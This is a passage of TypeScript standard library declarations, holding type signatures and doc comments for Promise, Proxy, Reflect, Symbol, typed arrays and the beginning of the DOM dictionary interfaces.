array\\n     */\\n    entries(): IterableIterator<[number, number]>;\\n    /**\\n     * Returns an list of keys in the array\\n     */\\n    keys(): IterableIterator<number>;\\n    /**\\n     * Returns an list of values in the array\\n     */\\n    values(): IterableIterator<number>;\\n}\\n\\ninterface Float64ArrayConstructor {\\n    new (elements: Iterable<number>): Float64Array;\\n\\n    /**\\n     * Creates an array from an array-like or iterable object.\\n     * @param arrayLike An array-like or iterable object to convert to an array.\\n     * @param mapfn A mapping function to call on every element of the array.\\n     * @param thisArg Value of \\'this\\' used to invoke the mapfn.\\n     */\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number): Float64Array;\\n    from(arrayLike: Iterable<number>, mapfn: (this: void, v: number, k: number) => number, thisArg: undefined): Float64Array;\\n    from<Z>(arrayLike: Iterable<number>, mapfn: (this: Z, v: number, k: number) => number, thisArg: Z): Float64Array;\\n\\n    from(arrayLike: Iterable<number>): Float64Array;\\n}\\n\\n\\ninterface PromiseConstructor {\\n    /**\\n     * A reference to the prototype.\\n     */\\n    readonly prototype: Promise<any>;\\n\\n    /**\\n     * Creates a new Promise.\\n     * @param executor A callback used to initialize the promise. This callback is passed two arguments:\\n     * a resolve callback used resolve the promise with a value or the result of another promise,\\n     * and a reject callback used to reject the promise with a provided reason or error.\\n     */\\n    new <T>(executor: (resolve: (value?: T | PromiseLike<T>) => void, reject: (reason?: any) => void) => void): Promise<T>;\\n\\n    /**\\n     * Creates a Promise that is resolved with an array of results when all of the provided Promises\\n     * resolve, or rejected when any Promise is rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    all<T1, T2, T3, T4, T5, T6, T7, T8, T9, T10>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike <T4>, T5 | PromiseLike<T5>, T6 | PromiseLike<T6>, T7 | PromiseLike<T7>, T8 | PromiseLike<T8>, T9 | PromiseLike<T9>, T10 | PromiseLike<T10>]): Promise<[T1, T2, T3, T4, T5, T6, T7, T8, T9, T10]>;\\n\\n    /**\\n     * Creates a Promise that is resolved with an array of results when all of the provided Promises\\n     * resolve, or rejected when any Promise is rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    all<T1, T2, T3, T4, T5, T6, T7, T8, T9>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike <T4>, T5 | PromiseLike<T5>, T6 | PromiseLike<T6>, T7 | PromiseLike<T7>, T8 | PromiseLike<T8>, T9 | PromiseLike<T9>]): Promise<[T1, T2, T3, T4, T5, T6, T7, T8, T9]>;\\n\\n    /**\\n     * Creates a Promise that is resolved with an array of results when all of the provided Promises\\n     * resolve, or rejected when any Promise is rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    all<T1, T2, T3, T4, T5, T6, T7, T8>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike <T4>, T5 | PromiseLike<T5>, T6 | PromiseLike<T6>, T7 | PromiseLike<T7>, T8 | PromiseLike<T8>]): Promise<[T1, T2, T3, T4, T5, T6, T7, T8]>;\\n\\n    /**\\n     * Creates a Promise that is resolved with an array of results when all of the provided Promises\\n     * resolve, or rejected when any Promise is rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    all<T1, T2, T3, T4, T5, T6, T7>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike <T4>, T5 | PromiseLike<T5>, T6 | PromiseLike<T6>, T7 | PromiseLike<T7>]): Promise<[T1, T2, T3, T4, T5, T6, T7]>;\\n\\n    /**\\n     * Creates a Promise that is resolved with an array of results when all of the provided Promises\\n     * resolve, or rejected when any Promise is rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    all<T1, T2, T3, T4, T5, T6>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike <T4>, T5 | PromiseLike<T5>, T6 | PromiseLike<T6>]): Promise<[T1, T2, T3, T4, T5, T6]>;\\n\\n    /**\\n     * Creates a Promise that is resolved with an array of results when all of the provided Promises\\n     * resolve, or rejected when any Promise is rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    all<T1, T2, T3, T4, T5>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike <T4>, T5 | PromiseLike<T5>]): Promise<[T1, T2, T3, T4, T5]>;\\n\\n    /**\\n     * Creates a Promise that is resolved with an array of results when all of the provided Promises\\n     * resolve, or rejected when any Promise is rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    all<T1, T2, T3, T4>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike <T4>]): Promise<[T1, T2, T3, T4]>;\\n\\n    /**\\n     * Creates a Promise that is resolved with an array of results when all of the provided Promises\\n     * resolve, or rejected when any Promise is rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    all<T1, T2, T3>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>]): Promise<[T1, T2, T3]>;\\n\\n    /**\\n     * Creates a Promise that is resolved with an array of results when all of the provided Promises\\n     * resolve, or rejected when any Promise is rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    all<T1, T2>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>]): Promise<[T1, T2]>;\\n\\n    /**\\n     * Creates a Promise that is resolved with an array of results when all of the provided Promises\\n     * resolve, or rejected when any Promise is rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    all<T>(values: (T | PromiseLike<T>)[]): Promise<T[]>;\\n\\n    /**\\n     * Creates a Promise that is resolved or rejected when any of the provided Promises are resolved\\n     * or rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    race<T1, T2, T3, T4, T5, T6, T7, T8, T9, T10>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike<T4>, T5 | PromiseLike<T5>, T6 | PromiseLike<T6>, T7 | PromiseLike<T7>, T8 | PromiseLike<T8>, T9 | PromiseLike<T9>, T10 | PromiseLike<T10>]): Promise<T1 | T2 | T3 | T4 | T5 | T6 | T7 | T8 | T9 | T10>;\\n\\n    /**\\n     * Creates a Promise that is resolved or rejected when any of the provided Promises are resolved\\n     * or rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    race<T1, T2, T3, T4, T5, T6, T7, T8, T9>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike<T4>, T5 | PromiseLike<T5>, T6 | PromiseLike<T6>, T7 | PromiseLike<T7>, T8 | PromiseLike<T8>, T9 | PromiseLike<T9>]): Promise<T1 | T2 | T3 | T4 | T5 | T6 | T7 | T8 | T9>;\\n\\n    /**\\n     * Creates a Promise that is resolved or rejected when any of the provided Promises are resolved\\n     * or rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    race<T1, T2, T3, T4, T5, T6, T7, T8>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike<T4>, T5 | PromiseLike<T5>, T6 | PromiseLike<T6>, T7 | PromiseLike<T7>, T8 | PromiseLike<T8>]): Promise<T1 | T2 | T3 | T4 | T5 | T6 | T7 | T8>;\\n\\n    /**\\n     * Creates a Promise that is resolved or rejected when any of the provided Promises are resolved\\n     * or rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    race<T1, T2, T3, T4, T5, T6, T7>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike<T4>, T5 | PromiseLike<T5>, T6 | PromiseLike<T6>, T7 | PromiseLike<T7>]): Promise<T1 | T2 | T3 | T4 | T5 | T6 | T7>;\\n\\n    /**\\n     * Creates a Promise that is resolved or rejected when any of the provided Promises are resolved\\n     * or rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    race<T1, T2, T3, T4, T5, T6>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike<T4>, T5 | PromiseLike<T5>, T6 | PromiseLike<T6>]): Promise<T1 | T2 | T3 | T4 | T5 | T6>;\\n\\n    /**\\n     * Creates a Promise that is resolved or rejected when any of the provided Promises are resolved\\n     * or rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    race<T1, T2, T3, T4, T5>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike<T4>, T5 | PromiseLike<T5>]): Promise<T1 | T2 | T3 | T4 | T5>;\\n\\n    /**\\n     * Creates a Promise that is resolved or rejected when any of the provided Promises are resolved\\n     * or rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    race<T1, T2, T3, T4>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>, T4 | PromiseLike<T4>]): Promise<T1 | T2 | T3 | T4>;\\n\\n    /**\\n     * Creates a Promise that is resolved or rejected when any of the provided Promises are resolved\\n     * or rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    race<T1, T2, T3>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>, T3 | PromiseLike<T3>]): Promise<T1 | T2 | T3>;\\n\\n    /**\\n     * Creates a Promise that is resolved or rejected when any of the provided Promises are resolved\\n     * or rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    race<T1, T2>(values: [T1 | PromiseLike<T1>, T2 | PromiseLike<T2>]): Promise<T1 | T2>;\\n\\n    /**\\n     * Creates a Promise that is resolved or rejected when any of the provided Promises are resolved\\n     * or rejected.\\n     * @param values An array of Promises.\\n     * @returns A new Promise.\\n     */\\n    race<T>(values: (T | PromiseLike<T>)[]): Promise<T>;\\n\\n    /**\\n     * Creates a new rejected promise for the provided reason.\\n     * @param reason The reason the promise was rejected.\\n     * @returns A new rejected Promise.\\n     */\\n    reject(reason: any): Promise<never>;\\n\\n    /**\\n     * Creates a new rejected promise for the provided reason.\\n     * @param reason The reason the promise was rejected.\\n     * @returns A new rejected Promise.\\n     */\\n    reject<T>(reason: any): Promise<T>;\\n\\n    /**\\n     * Creates a new resolved promise for the provided value.\\n     * @param value A promise.\\n     * @returns A promise whose internal state matches the provided promise.\\n     */\\n    resolve<T>(value: T | PromiseLike<T>): Promise<T>;\\n\\n    /**\\n     * Creates a new resolved promise .\\n     * @returns A resolved promise.\\n     */\\n    resolve(): Promise<void>;\\n}\\n\\ndeclare var Promise: PromiseConstructor;\\n\\ninterface ProxyHandler<T extends object> {\\n    getPrototypeOf? (target: T): object | null;\\n    setPrototypeOf? (target: T, v: any): boolean;\\n    isExtensible? (target: T): boolean;\\n    preventExtensions? (target: T): boolean;\\n    getOwnPropertyDescriptor? (target: T, p: PropertyKey): PropertyDescriptor | undefined;\\n    has? (target: T, p: PropertyKey): boolean;\\n    get? (target: T, p: PropertyKey, receiver: any): any;\\n    set? (target: T, p: PropertyKey, value: any, receiver: any): boolean;\\n    deleteProperty? (target: T, p: PropertyKey): boolean;\\n    defineProperty? (target: T, p: PropertyKey, attributes: PropertyDescriptor): boolean;\\n    enumerate? (target: T): PropertyKey[];\\n    ownKeys? (target: T): PropertyKey[];\\n    apply? (target: T, thisArg: any, argArray?: any): any;\\n    construct? (target: T, argArray: any, newTarget?: any): object;\\n}\\n\\ninterface ProxyConstructor {\\n    revocable<T extends object>(target: T, handler: ProxyHandler<T>): { proxy: T; revoke: () => void; };\\n    new <T extends object>(target: T, handler: ProxyHandler<T>): T;\\n}\\ndeclare var Proxy: ProxyConstructor;\\n\\n\\ndeclare namespace Reflect {\\n    function apply(target: Function, thisArgument: any, argumentsList: ArrayLike<any>): any;\\n    function construct(target: Function, argumentsList: ArrayLike<any>, newTarget?: any): any;\\n    function defineProperty(target: object, propertyKey: PropertyKey, attributes: PropertyDescriptor): boolean;\\n    function deleteProperty(target: object, propertyKey: PropertyKey): boolean;\\n    function get(target: object, propertyKey: PropertyKey, receiver?: any): any;\\n    function getOwnPropertyDescriptor(target: object, propertyKey: PropertyKey): PropertyDescriptor;\\n    function getPrototypeOf(target: object): object;\\n    function has(target: object, propertyKey: PropertyKey): boolean;\\n    function isExtensible(target: object): boolean;\\n    function ownKeys(target: object): Array<PropertyKey>;\\n    function preventExtensions(target: object): boolean;\\n    function set(target: object, propertyKey: PropertyKey, value: any, receiver?: any): boolean;\\n    function setPrototypeOf(target: object, proto: any): boolean;\\n}\\n\\n\\ninterface Symbol {\\n    /** Returns a string representation of an object. */\\n    toString(): string;\\n\\n    /** Returns the primitive value of the specified object. */\\n    valueOf(): symbol;\\n}\\n\\ninterface SymbolConstructor {\\n    /**\\n     * A reference to the prototype.\\n     */\\n    readonly prototype: Symbol;\\n\\n    /**\\n     * Returns a new unique Symbol value.\\n     * @param  description Description of the new Symbol object.\\n     */\\n    (description?: string | number): symbol;\\n\\n    /**\\n     * Returns a Symbol object from the global symbol registry matching the given key if found.\\n     * Otherwise, returns a new symbol with this key.\\n     * @param key key to search for.\\n     */\\n    for(key: string): symbol;\\n\\n    /**\\n     * Returns a key from the global symbol registry matching the given Symbol if found.\\n     * Otherwise, returns a undefined.\\n     * @param sym Symbol to find the key for.\\n     */\\n    keyFor(sym: symbol): string | undefined;\\n}\\n\\ndeclare var Symbol: SymbolConstructor;\\n\\n/// <reference path=\"lib.es2015.symbol.d.ts\" />\\n\\ninterface SymbolConstructor {\\n    /**\\n     * A method that determines if a constructor object recognizes an object as one of the\\n     * constructor’s instances. Called by the semantics of the instanceof operator.\\n     */\\n    readonly hasInstance: symbol;\\n\\n    /**\\n     * A Boolean value that if true indicates that an object should flatten to its array elements\\n     * by Array.prototype.concat.\\n     */\\n    readonly isConcatSpreadable: symbol;\\n\\n    /**\\n     * A regular expression method that matches the regular expression against a string. Called\\n     * by the String.prototype.match method.\\n     */\\n    readonly match: symbol;\\n\\n    /**\\n     * A regular expression method that replaces matched substrings of a string. Called by the\\n     * String.prototype.replace method.\\n     */\\n    readonly replace: symbol;\\n\\n    /**\\n     * A regular expression method that returns the index within a string that matches the\\n     * regular expression. Called by the String.prototype.search method.\\n     */\\n    readonly search: symbol;\\n\\n    /**\\n     * A function valued property that is the constructor function that is used to create\\n     * derived objects.\\n     */\\n    readonly species: symbol;\\n\\n    /**\\n     * A regular expression method that splits a string at the indices that match the regular\\n     * expression. Called by the String.prototype.split method.\\n     */\\n    readonly split: symbol;\\n\\n    /**\\n     * A method that converts an object to a corresponding primitive value.\\n     * Called by the ToPrimitive abstract operation.\\n     */\\n    readonly toPrimitive: symbol;\\n\\n    /**\\n     * A String value that is used in the creation of the default string description of an object.\\n     * Called by the built-in method Object.prototype.toString.\\n     */\\n    readonly toStringTag: symbol;\\n\\n    /**\\n     * An Object whose own property names are property names that are excluded from the \\'with\\'\\n     * environment bindings of the associated objects.\\n     */\\n    readonly unscopables: symbol;\\n}\\n\\ninterface Symbol {\\n    readonly [Symbol.toStringTag]: \"Symbol\";\\n}\\n\\ninterface Array<T> {\\n    /**\\n     * Returns an object whose properties have the value \\'true\\'\\n     * when they will be absent when used in a \\'with\\' statement.\\n     */\\n    [Symbol.unscopables](): {\\n        copyWithin: boolean;\\n        entries: boolean;\\n        fill: boolean;\\n        find: boolean;\\n        findIndex: boolean;\\n        keys: boolean;\\n        values: boolean;\\n    };\\n}\\n\\ninterface Date {\\n    /**\\n     * Converts a Date object to a string.\\n     */\\n    [Symbol.toPrimitive](hint: \"default\"): string;\\n    /**\\n     * Converts a Date object to a string.\\n     */\\n    [Symbol.toPrimitive](hint: \"string\"): string;\\n    /**\\n     * Converts a Date object to a number.\\n     */\\n    [Symbol.toPrimitive](hint: \"number\"): number;\\n    /**\\n     * Converts a Date object to a string or number.\\n     *\\n     * @param hint The strings \"number\", \"string\", or \"default\" to specify what primitive to return.\\n     *\\n     * @throws {TypeError} If \\'hint\\' was given something other than \"number\", \"string\", or \"default\".\\n     * @returns A number if \\'hint\\' was \"number\", a string if \\'hint\\' was \"string\" or \"default\".\\n     */\\n    [Symbol.toPrimitive](hint: string): string | number;\\n}\\n\\ninterface Map<K, V> {\\n    readonly [Symbol.toStringTag]: \"Map\";\\n}\\n\\ninterface WeakMap<K extends object, V>{\\n    readonly [Symbol.toStringTag]: \"WeakMap\";\\n}\\n\\ninterface Set<T> {\\n    readonly [Symbol.toStringTag]: \"Set\";\\n}\\n\\ninterface WeakSet<T> {\\n    readonly [Symbol.toStringTag]: \"WeakSet\";\\n}\\n\\ninterface JSON {\\n    readonly [Symbol.toStringTag]: \"JSON\";\\n}\\n\\ninterface Function {\\n    /**\\n     * Determines whether the given value inherits from this function if this function was used\\n     * as a constructor function.\\n     *\\n     * A constructor function can control which objects are recognized as its instances by\\n     * \\'instanceof\\' by overriding this method.\\n     */\\n    [Symbol.hasInstance](value: any): boolean;\\n}\\n\\ninterface GeneratorFunction {\\n    readonly [Symbol.toStringTag]: \"GeneratorFunction\";\\n}\\n\\ninterface Math {\\n    readonly [Symbol.toStringTag]: \"Math\";\\n}\\n\\ninterface Promise<T> {\\n    readonly [Symbol.toStringTag]: \"Promise\";\\n}\\n\\ninterface PromiseConstructor {\\n    readonly [Symbol.species]: Function;\\n}\\n\\ninterface RegExp {\\n    /**\\n     * Matches a string with this regular expression, and returns an array containing the results of\\n     * that search.\\n     * @param string A string to search within.\\n     */\\n    [Symbol.match](string: string): RegExpMatchArray | null;\\n\\n    /**\\n     * Replaces text in a string, using this regular expression.\\n     * @param string A String object or string literal whose contents matching against\\n     *               this regular expression will be replaced\\n     * @param replaceValue A String object or string literal containing the text to replace for every\\n     *                     successful match of this regular expression.\\n     */\\n    [Symbol.replace](string: string, replaceValue: string): string;\\n\\n    /**\\n     * Replaces text in a string, using this regular expression.\\n     * @param string A String object or string literal whose contents matching against\\n     *               this regular expression will be replaced\\n     * @param replacer A function that returns the replacement text.\\n     */\\n    [Symbol.replace](string: string, replacer: (substring: string, ...args: any[]) => string): string;\\n\\n    /**\\n     * Finds the position beginning first substring match in a regular expression search\\n     * using this regular expression.\\n     *\\n     * @param string The string to search within.\\n     */\\n    [Symbol.search](string: string): number;\\n\\n    /**\\n     * Returns an array of substrings that were delimited by strings in the original input that\\n     * match against this regular expression.\\n     *\\n     * If the regular expression contains capturing parentheses, then each time this\\n     * regular expression matches, the results (including any undefined results) of the\\n     * capturing parentheses are spliced.\\n     *\\n     * @param string string value to split\\n     * @param limit if not undefined, the output array is truncated so that it contains no more\\n     * than \\'limit\\' elements.\\n     */\\n    [Symbol.split](string: string, limit?: number): string[];\\n}\\n\\ninterface RegExpConstructor {\\n    [Symbol.species](): RegExpConstructor;\\n}\\n\\ninterface String {\\n    /**\\n     * Matches a string an object that supports being matched against, and returns an array containing the results of that search.\\n     * @param matcher An object that supports being matched against.\\n     */\\n    match(matcher: { [Symbol.match](string: string): RegExpMatchArray | null; }): RegExpMatchArray | null;\\n\\n    /**\\n     * Replaces text in a string, using an object that supports replacement within a string.\\n     * @param searchValue A object can search for and replace matches within a string.\\n     * @param replaceValue A string containing the text to replace for every successful match of searchValue in this string.\\n     */\\n    replace(searchValue: { [Symbol.replace](string: string, replaceValue: string): string; }, replaceValue: string): string;\\n\\n    /**\\n     * Replaces text in a string, using an object that supports replacement within a string.\\n     * @param searchValue A object can search for and replace matches within a string.\\n     * @param replacer A function that returns the replacement text.\\n     */\\n    replace(searchValue: { [Symbol.replace](string: string, replacer: (substring: string, ...args: any[]) => string): string; }, replacer: (substring: string, ...args: any[]) => string): string;\\n\\n    /**\\n     * Finds the first substring match in a regular expression search.\\n     * @param searcher An object which supports searching within a string.\\n     */\\n    search(searcher: { [Symbol.search](string: string): number; }): number;\\n\\n    /**\\n     * Split a string into substrings using the specified separator and return them as an array.\\n     * @param splitter An object that can split a string.\\n     * @param limit A value used to limit the number of elements returned in the array.\\n     */\\n    split(splitter: { [Symbol.split](string: string, limit?: number): string[]; }, limit?: number): string[];\\n}\\n\\n/**\\n * Represents a raw buffer of binary data, which is used to store data for the\\n * different typed arrays. ArrayBuffers cannot be read from or written to directly,\\n * but can be passed to a typed array or DataView Object to interpret the raw\\n * buffer as needed.\\n */\\ninterface ArrayBuffer {\\n    readonly [Symbol.toStringTag]: \"ArrayBuffer\";\\n}\\n\\ninterface DataView {\\n    readonly [Symbol.toStringTag]: \"DataView\";\\n}\\n\\n/**\\n * A typed array of 8-bit integer values. The contents are initialized to 0. If the requested\\n * number of bytes could not be allocated an exception is raised.\\n */\\ninterface Int8Array {\\n    readonly [Symbol.toStringTag]: \"Int8Array\";\\n}\\n\\n/**\\n * A typed array of 8-bit unsigned integer values. The contents are initialized to 0. If the\\n * requested number of bytes could not be allocated an exception is raised.\\n */\\ninterface Uint8Array {\\n    readonly [Symbol.toStringTag]: \"UInt8Array\";\\n}\\n\\n/**\\n * A typed array of 8-bit unsigned integer (clamped) values. The contents are initialized to 0.\\n * If the requested number of bytes could not be allocated an exception is raised.\\n */\\ninterface Uint8ClampedArray {\\n    readonly [Symbol.toStringTag]: \"Uint8ClampedArray\";\\n}\\n\\n/**\\n * A typed array of 16-bit signed integer values. The contents are initialized to 0. If the\\n * requested number of bytes could not be allocated an exception is raised.\\n */\\ninterface Int16Array {\\n    readonly [Symbol.toStringTag]: \"Int16Array\";\\n}\\n\\n/**\\n * A typed array of 16-bit unsigned integer values. The contents are initialized to 0. If the\\n * requested number of bytes could not be allocated an exception is raised.\\n */\\ninterface Uint16Array {\\n    readonly [Symbol.toStringTag]: \"Uint16Array\";\\n}\\n\\n/**\\n * A typed array of 32-bit signed integer values. The contents are initialized to 0. If the\\n * requested number of bytes could not be allocated an exception is raised.\\n */\\ninterface Int32Array {\\n    readonly [Symbol.toStringTag]: \"Int32Array\";\\n}\\n\\n/**\\n * A typed array of 32-bit unsigned integer values. The contents are initialized to 0. If the\\n * requested number of bytes could not be allocated an exception is raised.\\n */\\ninterface Uint32Array {\\n    readonly [Symbol.toStringTag]: \"Uint32Array\";\\n}\\n\\n/**\\n * A typed array of 32-bit float values. The contents are initialized to 0. If the requested number\\n * of bytes could not be allocated an exception is raised.\\n */\\ninterface Float32Array {\\n    readonly [Symbol.toStringTag]: \"Float32Array\";\\n}\\n\\n/**\\n * A typed array of 64-bit float values. The contents are initialized to 0. If the requested\\n * number of bytes could not be allocated an exception is raised.\\n */\\ninterface Float64Array {\\n    readonly [Symbol.toStringTag]: \"Float64Array\";\\n}\\n\\n\\n\\n/////////////////////////////\\n/// DOM APIs\\n/////////////////////////////\\n\\ninterface Account {\\n    displayName?: string;\\n    id?: string;\\n    imageURL?: string;\\n    name?: string;\\n    rpDisplayName?: string;\\n}\\n\\ninterface Algorithm {\\n    name: string;\\n}\\n\\ninterface AnimationEventInit extends EventInit {\\n    animationName?: string;\\n    elapsedTime?: number;\\n}\\n\\ninterface AssertionOptions {\\n    allowList?: ScopedCredentialDescriptor[];\\n    extensions?: WebAuthnExtensions;\\n    rpId?: USVString;\\n    timeoutSeconds?: number;\\n}\\n\\ninterface CacheQueryOptions {\\n    cacheName?: string;\\n    ignoreMethod?: boolean;\\n    ignoreSearch?: boolean;\\n    ignoreVary?: boolean;\\n}\\n\\ninterface ClientData {\\n    challenge?: string;\\n    extensions?: WebAuthnExtensions;\\n    hashAlg?: string | Algorithm;\\n    origin?: string;\\n    rpId?: string;\\n    tokenBinding?: string;\\n}\\n\\ninterface CloseEventInit extends EventInit {\\n    code?: number;\\n    reason?: string;\\n    wasClean?: boolean;\\n}\\n\\ninterface CompositionEventInit extends UIEventInit {\\n    data?: string;\\n}\\n\\ninterface ConfirmSiteSpecificExceptionsInformation extends ExceptionInformation {\\n    arrayOfDomainStrings?: string[];\\n}\\n\\ninterface ConstrainBooleanParameters {\\n    exact?: boolean;\\n    ideal?: boolean;\\n}\\n\\ninterface ConstrainDOMStringParameters {\\n    exact?: string | string[];\\n    ideal?: string | string[];\\n}\\n\\ninterface ConstrainDoubleRange extends DoubleRange {\\n    exact?: number;\\n    ideal?: number;\\n}\\n\\ninterface ConstrainLongRange extends LongRange {\\n    exact?: number;\\n    ideal?: number;\\n}\\n\\ninterface ConstrainVideoFacingModeParameters {\\n    exact?: VideoFacingModeEnum | VideoFacingModeEnum[];\\n    ideal?: VideoFacingModeEnum | VideoFacingModeEnum[];\\n}\\n\\ninterface CustomEventInit extends EventInit {\\n    detail?: any;\\n}\\n\\ninterface DeviceAccelerationDict {\\n    x?: number;\\n    y?: number;\\n    z?: number;\\n}\\n\\ninterface DeviceLightEventInit extends EventInit {\\n    value?: number;\\n}\\n\\ninterface DeviceMotionEventInit extends EventInit {\\n    acceleration?: DeviceAccelerationDict;\\n    accelerationIncludingGravity?: DeviceAccelerationDict;\\n    interval?: number;\\n    rotationRate?: DeviceRotationRateDict;\\n}\\n\\ninterface DeviceOrientationEventInit extends EventInit {\\n    absolute?: boolean;\\n    alpha?: number;\\n    beta?: number;\\n    gamma?: number;\\n}\\n\\ninterface DeviceRotationRateDict {\\n    alpha?: number;\\n    beta?: number;\\n    gamma?: number;\\n}\\n\\ninterface DOMRectInit {\\n    height?: any;\\n    width?: any;\\n    x?: any;\\n    y?: any;\\n}\\n\\ninterface DoubleRange {\\n    max?: number;\\n    min?: number;\\n}\\n\\ninterface ErrorEventInit extends EventInit {\\n    colno?: number;\\n    error?: any;\\n    filename?: string;\\n    lineno?: number;\\n    message?: string;\\n}\\n\\ninterface EventInit {\\n    scoped?: boolean;\\n    bubbles?: boolean;\\n    cancelable?: boolean;\\n}\\n\\ninterface EventModifierInit extends UIEventInit {\\n    altKey?: boolean;\\n    ctrlKey?: boolean;\\n    metaKey?: boolean;\\n    modifierAltGraph?: boolean;\\n    modifierCapsLock?: boolean;\\n    modifierFn?: boolean;\\n    modifierFnLock?: boolean;\\n    modifierHyper?: boolean;\\n    modifierNumLock?: boolean;\\n    modifierOS?: boolean;\\n    modifierScrollLock?: boolean;\\n    modifierSuper?: boolean;\\n    modifierSymbol?: boolean;\\n    modifierSymbolLock?: boolean;\\n    shiftKey?: boolean;\\n}\\n\\ninterface ExceptionInformation {\\n    domain?: string;\\n}\\n\\ninterface FocusEventInit extends UIEventInit {\\n    relatedTarget?: EventTarget;\\n}\\n\\ninterface FocusNavigationEventInit extends EventInit {\\n    navigationReason?: string;\\n    originHeight?: number;\\n    originLeft?: number;\\n    originTop?: number;\\n    originWidth?: number;\\n}\\n\\ninterface FocusNavigationOrigin {\\n    originHeight?: number;\\n    originLeft?: number;\\n    originTop?: number;\\n    originWidth?: number;\\n}\\n\\ninterface GamepadEventInit extends EventInit {\\n    gamepad?: Gamepad;\\n}\\n\\ninterface GetNotificationOptions {\\n    tag?: string;\\n}\\n\\ninterface HashChangeEventInit extends EventInit {\\n    newURL?: string;\\n    oldURL?: string;\\n}\\n\\ninterface IDBIndexParameters {\\n    multiEntry?: boolean;\\n    unique?: boolean;\\n}\\n\\ninterface IDBObjectStoreParameters {\\n    autoIncrement?: boolean;\\n    keyPath?: IDBKeyPath;\\n}\\n\\ninterface IntersectionObserverEntryInit {\\n    boundingClientRect?: DOMRectInit;\\n    intersectionRect?: DOMRectInit;\\n    rootBounds?: DOMRectInit;\\n    target?: Element;\\n    time?: number;\\n}\\n\\ninterface IntersectionObserverInit {\\n    root?: Element;\\n    rootMargin?: string;\\n    threshold?: number | number[];\\n}\\n\\ninterface KeyAlgorithm {\\n    name?: string;\\n}\\n\\ninterface KeyboardEventInit extends EventModifierInit {\\n    code?: string;\\n    key?: string;\\n    location?: number;\\n    repeat?: boolean;\\n}\\n\\ninterface LongRange {\\n    max?: number;\\n    min?: number;\\n}\\n\\ninterface MediaEncryptedEventInit extends EventInit {\\n    initData?: ArrayBuffer;\\n    initDataType?: string;\\n}\\n\\ninterface MediaKeyMessageEventInit extends EventInit {\\n    message?: ArrayBuffer;\\n    messageType?: MediaKeyMessageType;\\n}\\n\\ninterface MediaKeySystemConfiguration {\\n    audioCapabilities?: MediaKeySystemMediaCapability[];\\n    distinctiveIdentifier?: MediaKeysRequirement;\\n    initDataTypes?: string[];\\n    persistentState?: MediaKeysRequirement;\\n    videoCapabilities?: MediaKeySystemMediaCapability[];\\n}\\n\\ninterface MediaKeySystemMediaCapability {\\n    contentType?: string;\\n    robustness?: string;\\n}\\n\\ninterface MediaStreamConstraints {\\n    audio?: boolean | MediaTrackConstraints;\\n    video?: boolean | MediaTrackConstraints;\\n}\\n\\ninterface MediaStreamErrorEventInit extends EventInit {\\n    error?: MediaStreamError;\\n}\\n\\ninterface MediaStreamEventInit extends EventInit {\\n    stream?: MediaStream;\\n}\\n\\ninterface MediaStreamTrackEventInit extends EventInit {\\n    track?: MediaStreamTrack;\\n}\\n\\ninterface MediaTrackCapabilities {\\n    aspectRatio?: number | DoubleRange;\\n    deviceId?: string;\\n    echoCancellation?: boolean[];\\n    facingMode?: string;\\n    frameRate?: number | DoubleRange;\\n    groupId?: string;\\n    height?: number | LongRange;\\n    sampleRate?: number | LongRange;\\n    sampleSize?: number | LongRange;\\n    volume?: number | DoubleRange;\\n    width?: number | 